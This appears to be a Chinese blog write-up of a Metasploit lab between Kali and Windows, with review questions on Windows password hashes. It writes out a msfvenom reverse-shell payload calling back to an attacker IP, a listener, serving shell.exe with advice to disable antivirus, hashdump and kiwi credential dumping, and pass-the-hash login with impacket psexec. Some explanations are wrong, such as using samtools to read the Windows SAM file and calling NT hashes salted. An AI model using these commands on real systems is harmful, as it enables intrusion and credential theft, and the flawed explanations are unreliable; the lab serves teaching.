msf渗透实验,抓取密钥及密钥生成原理所引发的问题

目录

目录

实验准备

实验步骤

1、使用msf生成反向shell

2、接收shell,与反向shell建立连接

3、搭建http服务器,方便下载shell程序

4、连接成功后,进行操作

5、可以试着进行抓取明文,可能不会成功

思考题

1、windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文。

2、我们通过hashdump抓取所有用户的密文,分为两个模块,为什么?这两个模块分别都代表什么

3、为什么第一个模块 永远是一样的aad3

4、这两个模块的加密算法有什么不同,如何加密的

5、Windows10或Windows2012以上无法抓取明文密码,该怎么办?hash可以直接用来登录吗?


实验准备

一台kali,一台windows

实验步骤

1、使用msf生成反向shell

msfvenom --list payloads		查看某个功能模块的具体功能

msfvenom -p  windows/x64/meterpreter/reverse_tcp LHOST=192.168.208.128 LPORT=12345 -f exe -o shell.exe		生成一个.exe的控制文件,反向连接的payload

2、接收shell,与反向shell建立连接

msfconsole	启动Metasploit,查看功能模块

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.224.143		反向连接谁
set lport 12345		反向连接的端口
exploit		//等待受害者连接

3、搭建http服务器,方便下载shell程序

python3 -m http.server 9999		搭载一个本地的web服务器,便于下载shell

注:下载前,请关闭防火墙,杀毒软件

4、连接成功后,进行操作

help        //可以查看,能进行的操作
getuid		//获取UID,查看权限
shell			//打开对方控制台
whoami		//查看当前用户
net user win10		//查看当前用户所属组
exit
hashdump			//抓取密文密码

5、可以试着进行抓取明文,可能不会成功

load kiwi
creds_all
ps		//查看进程
migrate shell当前进程号		//将shell程序迁移到system

思考题

1、windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文。

登录的时候会启动一个winlogon.exe进程,把明文账号密码发给lsass.exe这个进程,然后这个进程会干两件事,1是把明文账号密码在内存中存储一份,2是把账号密码加密后存在SAM这个文件里

        密文存在的位置:SAM保留了计算机本地所有用户的凭证信息,可以理解为一个数据库。

c:\windows\system32\config\SAM

 

SAM文件无法正常打开并且无法查看。但是我们可以利用其他工具来看,例如安装Samtools工具使用samtools view -h test.sam | less -S 来查看。

因为mimikatz这个工具是利用了lsass.exe会把一份明文账号密码存到内存中,所以才能抓到,但是由于系统补丁才抓不到了。不过继续横向不需要明文密码,因为系统验证都是通过比对hash值的,而哈希值又是不可逆的,所以知道明文密码也没什么作用,反而比hash麻烦了一步。

2、我们通过hashdump抓取所有用户的密文,分为两个模块,为什么?这两个模块分别都代表什么

hashdump模块:

        通过利用目标系统上的漏洞或提权后的权限,来读取系统内存种SAM数据并提取密码哈希值。它通常利用的原理通常是通过注入恶意代码到目标系统的内存中,或者利用系统漏洞来获取密码哈希值。

hashdump抓取的密文分为LMhash和NThash:

        LM Hash(LAN Manager Hash):微软为了提高windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易破解,但是为了保证系统的兼容性,windows只是将LM Hash禁用了,LM Hash明文密码被限制再14位以内,也就是说如果停止使用LM Hash,将用户的密码设置位14位以上就可以了。

        NTLM Hash:微软为了在提高安全性的同时保证兼容性而设计的散列加密算法,NTLMHash是基于MD4加密算法进行加密的。

为了保证系统的兼容性,windows只是将LM hash禁用了,但仍然会生成LM hash并且是固定值aad3b435b51404eeaad3b435b51404ee,所以在hashdump抓取结果可以看见两个密文模块。  

3、为什么第一个模块 永远是一样的aad3

因为LMhash容易被破解,为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash),但仍然会生成LMhash并且是固定值aad3b435b51404eeaad3b435b51404ee

总结:如抓取的密钥第一模块都为aad3说明LM Hash为空值或被禁用了。

4、这两个模块的加密算法有什么不同,如何加密的

LM是基于DES算法加密,通常将明文转化为16字节固定长度的hash值。

NT是基于MD4算法加密的,通常是将明文和一些随机数来结合计算出的哈希值,更复杂更安全。一般为32个字符长度

5、Windows10或Windows2012以上无法抓取明文密码,该怎么办?hash可以直接用来登录吗?

使用msf自带的mimikatz抓取密码,可以看到密码为null,说明这台pc已经打了微软的补丁,抓取不到明文密码了

但是用hash值也可以登录,hashdump后得到用户密码hash值,再用impacket工具中的横向渗透工具,比如psexec、smbexec等工具都支持使用hash值登录。这里使用kali自带的脚本psexec作为演示

cd /usr/share/doc/python3-impacket/examples
python3 psexec.py 登录的用户名@主机IP地址 -hashes 所获取的该用户名登录的密钥

  • 9
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值